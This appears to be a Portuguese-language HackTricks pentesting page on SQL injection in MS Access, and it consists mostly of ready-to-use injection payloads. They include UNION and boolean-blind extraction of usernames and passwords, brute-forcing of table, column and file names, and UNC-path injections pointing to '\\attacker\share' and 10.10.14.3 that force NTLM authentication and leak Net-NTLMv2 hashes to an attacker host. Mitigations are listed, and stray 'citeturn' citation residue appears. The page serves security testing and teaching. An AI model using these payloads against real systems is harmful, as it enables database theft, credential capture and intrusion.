# Injeção SQL do MS Access {{#include ../../banners/hacktricks-training.md}} ## Playground Online - [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) ## Limitações do DB ### Concatenação de Strings A concatenação de strings é possível com os caracteres `& (%26)` e `+ (%2b)`. ```sql 1' UNION SELECT 'web' %2b 'app' FROM table%00 1' UNION SELECT 'web' %26 'app' FROM table%00 ``` ### Comentários Não há comentários no MS Access, mas aparentemente é possível remover o último de uma consulta com um caractere NULL: ```sql 1' union select 1,2 from table%00 ``` Se isso não estiver funcionando, você sempre pode corrigir a sintaxe da consulta: ```sql 1' UNION SELECT 1,2 FROM table WHERE ''=' ``` ### Consultas Empilhadas Elas não são suportadas. ### LIMIT O operador **`LIMIT`** **não está implementado**. No entanto, é possível limitar os resultados da consulta SELECT às **primeiras N linhas da tabela usando o operador `TOP`**. `TOP` aceita como argumento um inteiro, representando o número de linhas a serem retornadas. ```sql 1' UNION SELECT TOP 3 attr FROM table%00 ``` Assim como o TOP, você pode usar **`LAST`** que irá obter as **linhas do final**. ## Consultas UNION/Subconsultas Em uma SQLi, você geralmente desejará de alguma forma executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre requer que em **subconsultas ou consultas extras um `FROM` seja indicado**.\ Portanto, se você quiser executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\ Portanto, você precisa conhecer um **nome de tabela válido**. ```sql -1' UNION SELECT username,password from users%00 ``` ### Chaining equals + Substring > [!WARNING] > Isso permitirá que você exfiltre valores da tabela atual sem precisar saber o nome da tabela. **MS Access** permite **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso. Imagine que você tem uma SQLi em um banco de dados MS Access e você sabe (ou adivinhou) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você poderia verificar as diferentes respostas do aplicativo web quando a técnica de chaining equals é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings. ```sql '=(Mid(username,1,3)='adm')=' ``` Se você souber o **nome da tabela** e **coluna** para despejar, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano: ```sql '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')=' ``` _Fique à vontade para verificar isso no playground online._ ### Forçando nomes de tabelas Usando a técnica de encadeamento de iguais, você também pode **forçar nomes de tabelas** com algo como: ```sql '=(select+top+1+'lala'+from+)=' ``` Você também pode usar uma maneira mais tradicional: ```sql -1' AND (SELECT TOP 1 )%00 ``` _Fique à vontade para verificar isso no playground online._ - Nomes de tabelas comuns do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) - Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) ### Forçando Nomes de Colunas Você pode **forçar os nomes das colunas atuais** com o truque de encadeamento de iguais com: ```sql '=column_name=' ``` Ou com um **group by**: ```sql -1' GROUP BY column_name%00 ``` Ou você pode forçar os nomes das colunas de uma **tabela diferente** com: ```sql '=(SELECT TOP 1 column_name FROM valid_table_name)=' -1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00 ``` ### Dumping data Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para extrair dados da tabela atual e de outras tabelas**. Mas existem outras maneiras: ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` Em resumo, a consulta usa uma declaração “if-then” para acionar um “200 OK” em caso de sucesso ou um “500 Internal Error” caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Com esse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando corretamente o índice de MID e TOP, podemos despejar o conteúdo do campo “username” para todas as linhas. ### Truques Baseados em Tempo (Cegos) O Jet/ACE SQL em si **não** expõe uma função nativa `SLEEP()` ou `WAITFOR`, então injeções cegas baseadas em tempo tradicionais são limitadas. No entanto, você ainda pode introduzir um atraso mensurável forçando o mecanismo a acessar um **recurso de rede que é lento ou não responde**. Como o mecanismo tentará abrir o arquivo antes de retornar o resultado, o tempo de resposta HTTP reflete a latência de ida e volta para o host controlado pelo atacante. ```sql ' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- ``` Aponte o caminho UNC para: * um compartilhamento SMB atrás de um link de alta latência * um host que descarta o handshake TCP após `SYN-ACK` * um sinkhole de firewall Os segundos extras introduzidos pela pesquisa remota podem ser usados como um **oráculo de tempo fora de banda** para condições booleanas (por exemplo, escolha um caminho lento apenas quando o predicado injetado for verdadeiro). A Microsoft documenta o comportamento do banco de dados remoto e o kill-switch de registro associado no KB5002984. citeturn1search0 ### Outras funções interessantes - `Mid('admin',1,1)` obtém substring da posição 1 com comprimento 1 (a posição inicial é 1) - `LEN('1234')` obtém o comprimento da string - `ASC('A')` obtém o valor ascii do caractere - `CHR(65)` obtém a string a partir do valor ascii - `IIF(1=1,'a','b')` se então - `COUNT(*)` Conta o número de itens ## Enumerando tabelas De [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter os nomes das tabelas: ```sql select MSysObjects.name from MSysObjects where MSysObjects.type In (1,4,6) and MSysObjects.name not like '~*' and MSysObjects.name not like 'MSys*' order by MSysObjects.name ``` No entanto, note que é muito típico encontrar SQL Injections onde você **não tem acesso para ler a tabela `MSysObjects`**. ## Acesso ao Sistema de Arquivos ### Caminho Completo do Diretório Raiz da Web O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques adicionais**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente. `http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**. ### Enumeração de Arquivos O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access gera uma mensagem de erro informando que o formato do banco de dados é inválido: `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` Outra maneira de enumerar arquivos consiste em **especificar um item database.table**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**. `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00` ### Adivinhação do Nome do Arquivo .mdb **O nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta: `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` Onde **name[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre gere uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido. ### Acesso Remoto ao Banco de Dados & Roubo de Credenciais NTLM (2023) Desde o Jet 4.0, cada consulta pode referenciar uma tabela localizada em um arquivo `.mdb/.accdb` *diferente* via a cláusula `IN ''`: ```sql SELECT first_name FROM Employees IN '\\server\share\hr.accdb'; ``` Se a entrada do usuário for concatenada na parte após **IN** (ou em uma chamada `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), um atacante pode especificar um **caminho UNC** que aponta para um host que eles controlam. O mecanismo irá: 1. tentar autenticar via SMB / HTTP para abrir o banco de dados remoto; 2. vazar as **credenciais NTLM** do servidor web (autenticação forçada); 3. analisar o arquivo remoto – um banco de dados malformado ou malicioso pode acionar bugs de corrupção de memória do Jet/ACE que foram corrigidos várias vezes (por exemplo, CVE-2021-28455). Exemplo prático de injeção: ```sql 1' UNION SELECT TOP 1 name FROM MSysObjects IN '\\attacker\share\poc.mdb'-- - ``` Impacto: * Exfiltração fora de banda de hashes Net-NTLMv2 (utilizáveis para relay ou cracking offline). * Potencial execução remota de código se um novo bug do parser Jet/ACE for explorado. Mitigações (recomendadas mesmo para aplicativos Classic ASP legados): * Adicione o valor do registro `AllowQueryRemoteTables = 0` em `HKLM\Software\Microsoft\Jet\4.0\Engines` (e sob o caminho equivalente do ACE). Isso força o Jet/ACE a rejeitar caminhos remotos que começam com `\\`. * Bloqueie SMB/WebDAV de saída na fronteira da rede. * Sanitizar / parametrizar qualquer parte de uma consulta que possa acabar dentro de uma cláusula `IN`. O vetor de autenticação forçada foi revisitado pela Check Point Research em 2023, provando que ainda é explorável em Windows Server totalmente atualizado quando a chave do registro está ausente. citeturn0search0 ### Cracker de Senha .mdb [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0. ## Referências - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) - [Microsoft KB5002984 – Configurando Jet/ACE para bloquear tabelas remotas](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) - [Check Point Research – Abusando das Tabelas Vinculadas do Microsoft Access para Autenticação Forçada NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}}